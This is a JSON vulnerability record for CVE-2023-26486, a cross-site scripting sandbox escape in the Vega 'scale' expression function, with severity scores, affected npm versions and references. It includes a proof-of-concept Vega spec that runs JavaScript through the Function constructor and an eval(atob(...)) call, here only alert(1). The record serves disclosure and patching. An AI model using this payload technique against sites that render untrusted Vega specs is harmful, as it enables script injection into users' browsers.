{"id":"CVE-2023-26486","aliases":["CVE-2023-26486","GHSA-4vq7-882g-wcg4"],"related":[],"kind":"vulnerability","state":"published","title":"Vega `scale` expression function cross site scripting","summary":"Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. The Vega `scale` expression function has the ability to call arbitrary functions with a single controlled argument. The scale expression function passes a user supplied argument group to getScale, which is then used as if it were an internal context. The context.scales[name].value is accessed from group and called as a function back in scale. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript. This issue has been fixed in version 5.13.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. The Vega `scale` expression function has the ability to call arbitrary functions with a single controlled argument. The scale expression function passes a user supplied argument group to getScale, which is then used as if it were an internal context. The context.scales[name].value is accessed from group and called as a function back in scale. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript. This issue has been fixed in version 5.13.1.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe Vega `scale` expression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript.\n\n### Details\n\nThe [scale](https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/functions/scale.js#L36-L37) expression function passes a user supplied argument `group` to [getScale](https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/scales.js#L6), which is then used as if it were an internal context. The `context.scales[name].value` is accessed from `group` and called as a function back in `scale`.\n\n### PoC\nThe following Vega definition can be used to demonstrate this issue executing the JavaScript code `alert(1);`\n```json\n{\n  \"$schema\": \"https://vega.github.io/schema/vega/v5.json\",\n  \"data\": [\n    {\n      \"name\": \"XSS PoC\",\n      \"values\": [1],\n      \"transform\": [\n        {\n          \"type\": \"formula\",\n          \"as\": \"amount\",\n          \"expr\": \"scale('func', null,  {context: {scales: {func: {value: scale('func', 'eval(atob(\\\"YWxlcnQoMSk7\\\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})\"\n        }\n      ]\n    }\n  ]\n}\n```\n\nThis can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA","format":"markdown","source":"ghsa"}],"published":"2023-03-02T23:11:05.000Z","modified":"2026-09-10T03:49:52.396Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 5.13.1","status":"affected"}],"vendor":"vega","product":"vega","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"5.13.1"}],"ecosystem":"npm","package":"vega-functions","purl":"pkg:npm/vega-functions","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"5.23.0"}],"ecosystem":"npm","package":"vega","purl":"pkg:npm/vega","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"5.13.1"}],"vendor":"vega-functions_project","product":"vega-functions","cpe":"cpe:2.3:a:vega-functions_project:vega-functions:*:*:*:*:*:node.js:*:*","source":"nvd"},{"ranges":[{"status":"affected","fixed":"5.23.0"}],"vendor":"vega_project","product":"vega","cpe":"cpe:2.3:a:vega_project:vega:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/vega/vega/security/advisories/GHSA-4vq7-882g-wcg4","tags":["exploit","third-party-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/vega/vega/releases/tag/v5.23.0","tags":["release-notes","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/functions/scale.js#L36-L37","tags":["permissions-required","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/scales.js#L6","tags":["permissions-required","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA","tags":["exploit","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26486","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/vega/vega","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2025-02-25T14:31:36.207Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2023-26486","url":"https://www.cve.org/CVERecord?id=CVE-2023-26486","licence":"CVE Terms of Use","modified":"2025-02-25T15:01:48.054Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-4vq7-882g-wcg4","url":"https://github.com/advisories/GHSA-4vq7-882g-wcg4","licence":"CC-BY-4.0","modified":"2026-09-10T03:49:52.396Z"},{"source":"nvd","name":"NVD","id":"CVE-2023-26486","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26486","licence":"Public domain","modified":"2026-06-17T05:43:26.550Z"}],"updatedAt":"2026-11-25T22:58:22.271Z","epss":{"score":0.00775,"percentile":0.56961,"date":"2026-12-01T12:00:22.000Z"}}